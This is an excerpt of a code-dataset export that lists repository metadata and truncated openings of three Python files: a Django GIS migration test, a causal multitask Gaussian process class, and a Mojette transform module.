] | 1 | 2017-02-11T07:07:16.000Z | 2017-02-11T07:07:16.000Z | tests/gis_tests/gis_migrations/test_operations.py | ioinfinity/django | b6a0ab523751c13ae3eaec102de70f58f73a0d94 | [
"PSF-2.0",
"BSD-3-Clause"
] | 1 | 2020-07-02T21:10:44.000Z | 2020-07-02T21:11:21.000Z | tests/gis_tests/gis_migrations/test_operations.py | ioinfinity/django | b6a0ab523751c13ae3eaec102de70f58f73a0d94 | [
"PSF-2.0",
"BSD-3-Clause"
] | 2 | 2018-03-30T04:24:48.000Z | 2021-05-09T12:39:09.000Z | from __future__ import unicode_literals
from unittest import skipUnless
from django.contrib.gis.db.models import fields
from django.contrib.gis.gdal import HAS_GDAL
from django.core.exceptions import ImproperlyConfigured
from django.db import connection, migrations, models
from django.db.migrations.migration import M... | 39.829268 | 104 | 0.686589 |
2e9ef589d88d6a0214b32a513c19229e202b68a9 | 8,518 | py | Python | alg/causal_multitask_gaussian_processes_ite/cmgp/cmgp.py | DaraOrange/mlforhealthlabpub | 9db861c850c94c6cf1f8bf75ed2ad8dcbd648aa3 | [
"BSD-3-Clause"
] | 171 | 2021-02-12T10:23:19.000Z | 2022-03-29T01:58:52.000Z | alg/causal_multitask_gaussian_processes_ite/cmgp/cmgp.py | DaraOrange/mlforhealthlabpub | 9db861c850c94c6cf1f8bf75ed2ad8dcbd648aa3 | [
"BSD-3-Clause"
] | 4 | 2021-06-01T08:18:33.000Z | 2022-02-20T13:37:30.000Z | alg/causal_multitask_gaussian_processes_ite/cmgp/cmgp.py | DaraOrange/mlforhealthlabpub | 9db861c850c94c6cf1f8bf75ed2ad8dcbd648aa3 | [
"BSD-3-Clause"
] | 93 | 2021-02-10T03:21:59.000Z | 2022-03-30T19:10:37.000Z | # Copyright (c) 2019, Ahmed M. Alaa
# Licensed under the BSD 3-clause license (see LICENSE.txt)
# third party
import GPy
import numpy as np
import pandas as pd
from sklearn.neighbors import KNeighborsRegressor
class CMGP:
"""
An implementation of various Gaussian models for Causal inference building on GPy.
... | 37.034783 | 103 | 0.545316 |
fe3d39c5552eb9e3f68c2e63de5a6354a74726eb | 19,690 | py | Python | finitetransform/mojette.py | shakes76/ChaoS | f8cec4cf0fa8c00ee5624a444c3f51d452b76485 | [
"Apache-2.0"
] | 11 | 2018-09-12T12:04:45.000Z | 2021-05-09T10:57:17.000Z | finitetransform/mojette.py | shakes76/ChaoS | f8cec4cf0fa8c00ee5624a444c3f51d452b76485 | [
"Apache-2.0"
] | null | null | null | finitetransform/mojette.py | shakes76/ChaoS | f8cec4cf0fa8c00ee5624a444c3f51d452b76485 | [
"Apache-2.0"
] | 6 | 2018-08-30T01:07:29.000Z | 2022-02-08T11:17:35.000Z | # -*- coding: utf-8 -*-
"""
Python module for computing methods related to the Mojette transform.
The transform (resulting in projections) is computed via the 'transform' member.
Assumes coordinate system with rows as x-axis and cols as y-axis. Thus angles are taken as complex(q,p) with q in the column direction.
Use... | 35.160714 | 135 | 0.599644 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.